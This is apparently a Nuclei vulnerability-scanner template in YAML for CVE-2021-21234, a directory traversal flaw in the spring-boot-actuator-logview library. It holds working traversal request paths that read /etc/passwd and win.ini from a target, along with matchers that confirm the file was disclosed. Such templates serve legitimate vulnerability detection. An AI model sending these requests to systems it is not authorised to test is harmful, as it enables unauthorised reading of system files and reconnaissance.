42 lines
1.7 KiB
YAML
42 lines
1.7 KiB
YAML
id: CVE-2021-21234
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info:
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name: Spring Boot Actuator Logview - Directory Traversal
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author: gy741,pikpikcu
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severity: high
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description: spring-boot-actuator-logview in a library that adds a simple logfile viewer as spring boot actuator endpoint. It is maven package "eu.hinsch:spring-boot-actuator-logview". In spring-boot-actuator-logview before version 0.2.13 there is a directory traversal vulnerability.
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reference:
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- https://blogg.pwc.no/styringogkontroll/unauthenticated-directory-traversal-vulnerability-in-a-java-spring-boot-actuator-library-cve-2021-21234
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- https://github.com/cristianeph/vulnerability-actuator-log-viewer
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- https://nvd.nist.gov/vuln/detail/CVE-2021-21234
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tags: cve,cve2021,springboot,lfi,actuator
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
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cvss-score: 7.70
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cve-id: CVE-2021-21234
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cwe-id: CWE-22
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requests:
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- method: GET
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path:
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- "{{BaseURL}}/manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../" # Windows
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- "{{BaseURL}}/log/view?filename=/windows/win.ini&base=../../../../../../../../../../" # Windows
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- "{{BaseURL}}/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../" # linux
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- "{{BaseURL}}/log/view?filename=/etc/passwd&base=../../../../../../../../../../" # linux
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stop-at-first-match: true
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matchers-condition: or
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matchers:
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- type: dsl
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dsl:
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- "regex('root:.*:0:0:', body)"
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- "status_code == 200"
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condition: and
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- type: dsl
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dsl:
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- "contains(body, 'bit app support')"
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- "contains(body, 'fonts')"
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- "contains(body, 'extensions')"
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- "status_code == 200"
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condition: and |